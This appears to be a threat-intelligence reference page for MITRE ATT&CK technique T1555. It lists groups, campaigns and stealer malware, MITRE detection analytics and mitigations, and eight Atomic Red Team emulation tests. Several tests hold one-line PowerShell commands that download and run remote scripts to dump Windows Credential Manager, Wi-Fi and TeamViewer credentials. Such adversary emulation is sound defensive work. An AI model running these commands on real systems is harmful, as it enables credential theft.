MalteiroG1026 ↗
Has obtained credentials from mail clients via NirSoft MailPassView.1
tfMITRE ATT&CK technique
Credentials from Password Stores T1555
- Tactic
- Credential Access
- Platforms
- IaaS, Linux, macOS, Windows
- Version
- 1.2
- Created
- 11 February 2020
- Last modified
- 12 May 2026
Sub-techniques 635 rules across the family · 13 mapped directly to T1555 · 4 of 6 carry rules
Adversaries may search for common password storage locations to obtain user credentials.[1] Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
12
Threat groupsTop 15%
Threat groups85th percentile · 85% of ATT&CK techniques have this many threat groups attributed or fewer.2
CampaignsTop 17%
Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.26
Tools & malwareTop 13%
Tools & malware87th percentile · 87% of ATT&CK techniques have this many tools implementing them or fewer.13
Detection rulesTop 19%
Detection rules81st percentile · 81% of ATT&CK techniques have this many detection rules written or fewer.Credentials from Password Stores MITRE reference T1555
Top 15%of all ATT&CK techniques for number of groups
12 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Volt TyphoonG1017 ↗
Has attempted to obtain credentials from OpenSSH, realvnc, and PuTTY.1
EvilnumG0120 ↗
Can collect email credentials from victims.1
APT41G0096 ↗
Has obtained information about accounts, lists of employees, and plaintext and hashed passwords from databases.1
APT39G0087 ↗
Has used the Smartftp Password Decryptor tool to decrypt FTP passwords.1
HEXANEG1001 ↗
Has run cmdkey on victim machines to identify stored credentials.1
All 12 groups for this technique · 6 newest in this preview
2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
2025 Poland Wiper AttacksC0063 ↗
During the 2025 Poland Wiper Attacks, the adversaries configured a native CLI to gather a targeted elevated users password using grep.1
SolarWinds CompromiseC0024 ↗
During the SolarWinds Compromise, APT29 used account credentials they obtained to attempt access to Group Managed Service Account (gMSA) passwords.1
All 2 campaigns for this technique
26 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
TeamPCP Cloud StealerS9041 ↗
Can harvest credentials from cryptocurrency wallets and keystores such as Ethereum keystores, Cardano keys, Solana validator keypairs, Ledger device files, and Anchor deploy keys.123
MirrorStealerS9022 ↗
BeaverTailS1246 ↗
Has collected keys stored for Solana stored in .config/solana/id.json and other login details associated with macOS within /Library/Keychains/login.keychain or for Linux within /.local/share/keyrings.1
RedLine StealerS1240 ↗
Has obtained credentials from VPN services, FTP clients and Instant Messenger (IM)/Chat clients.123
XLoaderS1207 ↗
ManjusakaS1156 ↗
Extracts credentials from the Windows Registry associated with Premiumsoft Navicat, a utility used to facilitate access to various database types.1
All 26 software entries for this technique · 6 newest in this preview
Offense vs defense T1555
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 2Sigma rules (cumulative) · 9Splunk ESCU (cumulative) · 4
first rule: 2018 Q4 · 2 of 2 campaigns plottedCredentials from Password Stores detection strategy DET0430
MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detect Credentials Access from Password Stores
4 platforms
AN1198 · Windows
Monitors suspicious access to password stores such as LSASS, DPAPI, Windows Credential Manager, or browser credential databases. Detects anomalous process-to-process access (e.g., Mimikatz accessing LSASS) and correlation of credential store file reads with execution of non-standard processes.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Process AccessDC0035 | WinEventLog:Sysmon | EventCode=10 |
| File AccessDC0055 | WinEventLog:Security | EventCode=4663, 4670, 4656 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TargetProcesses | List of sensitive processes to monitor (e.g., lsass.exe, svchost.exe) |
| KeywordPatterns | Regex for suspicious command-line arguments such as 'dpapi', 'credman', 'mimikatz' |
AN1199 · Linux
Detects access to known password store files (e.g., /etc/shadow, GNOME Keyring, KWallet, browser credential databases). Monitors anomalous process read attempts and suspicious API calls that attempt to extract stored credentials.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:EXECVE | execve |
| File AccessDC0055 | auditd:SYSCALL | open/read |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| MonitoredFiles | Paths to password storage files (e.g., /etc/shadow, ~/.local/share/keyrings/) |
| SuspiciousCommands | Process or command-line keywords that indicate password extraction attempts |
AN1200 · macOS
Monitors Keychain database access and suspicious invocations of security and osascript utilities. Correlates process execution with attempts to dump or unlock Keychain data.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:unifiedlog | execution of security or osascript |
| File AccessDC0055 | macos:unifiedlog | access to keychain database |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| AllowedApplications | Whitelist of legitimate processes accessing the Keychain |
| AlertThreshold | Number of failed access attempts before raising an alert |
AN1201 · IaaS
Detects attempts to access or enumerate cloud password/secrets storage services such as AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager. Monitors API calls for abnormal enumeration or bulk retrieval of secrets.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| OS API ExecutionDC0021 | AWS:CloudTrail | Decrypt |
| Cloud Service EnumerationDC0083 | AWS:CloudTrail | GetSecretValue |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| UserContext | Correlate cloud API calls with IAM role, user, or service account context |
| AccessThreshold | Number of secret retrievals within a time window before flagging |
Password PoliciesM1027
The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password. Organizations may consider weighing the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations.
Limit the number of accounts and services with permission to query information from password stores to only those required. Ensure that accounts and services with permissions to query password stores only have access to the secrets they require.
Update SoftwareM1051
Perform regular software updates to mitigate exploitation risk.
Tests8ExecutorsPowerShell 8Need elevation0 of 8Have prerequisites1Have cleanup1Platformswindows
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |
|---|---|---|---|---|---|---|---|---|
| 01 | Extract Windows Credential Manager via VBA | windows | PowerShell | — | 1 | Yes | ||
This module will extract the credentials found within the Windows credential manager and dump them to $env:TEMP\windows-credentials.txt Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1555\src\T1555-macrocode.txt" -officeProduct "Word" -sub "Extract" Cleanup command Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction Ignore Prerequisite Microsoft Word must be installed Check try {
New-Object -COMObject "word.Application" | Out-Null
$process = "winword"
Stop-Process -Name $process
exit 0
} catch { exit 1 }
Satisfy Write-Host "You will need to install Microsoft Word manually to meet this requirement" GUIDa31c83d6-609f-4607-bdd4-3e2e7e33732f | ||||||||
| 02 | Dump credentials from Windows Credential Manager With PowerShell [windows Credentials] | windows | PowerShell | — | — | — | ||
This module will extract the credentials from Windows Credential Manager Attack command IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force GUID170bbb8c-70cc-43de-82c0-956db7a7f2cd | ||||||||
| 03 | Dump credentials from Windows Credential Manager With PowerShell [web Credentials] | windows | PowerShell | — | — | — | ||
This module will extract the credentials from Windows Credential Manager Attack command IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force GUIDc94dde90-239b-4d10-b252-686e0e5ada49 | ||||||||
| 04 | Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials] | windows | PowerShell | — | — | — | ||
This module will enumerate credentials stored in Windows Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe Attack command vaultcmd /listcreds:"Windows Credentials" /all GUID74088ed9-48b0-44d0-9761-1b7d7a792138 | ||||||||
| 05 | Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials] | windows | PowerShell | — | — | — | ||
This module will enumerate credentials stored in Web Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe Attack command vaultcmd /listcreds:"Web Credentials" /all GUID767a339b-9395-4a26-b415-65aa907d42b9 | ||||||||
| 06 | WinPwn - Loot local Credentials - lazagne | windows | PowerShell | — | — | — | ||
The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
lazagnemodule -consoleoutput -noninteractiveGUID789a2573-25ad-4da4-b5b4-a8516f348e4b | ||||||||
| 07 | WinPwn - Loot local Credentials - Wifi Credentials | windows | PowerShell | — | — | — | ||
Loot local Credentials - Wifi Credentials technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
wificreds -consoleoutput -noninteractive GUID54cf6977-5982-446d-851d-0b1f26277cdc | ||||||||
| 08 | WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords | windows | PowerShell | — | — | — | ||
Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
decryptteamviewer -consoleoutput -noninteractive GUID58f80fef-ac65-4f50-b33f-c97f8bbd1984 | ||||||||
Tests from Atomic Red Team (MIT licence) · technique definition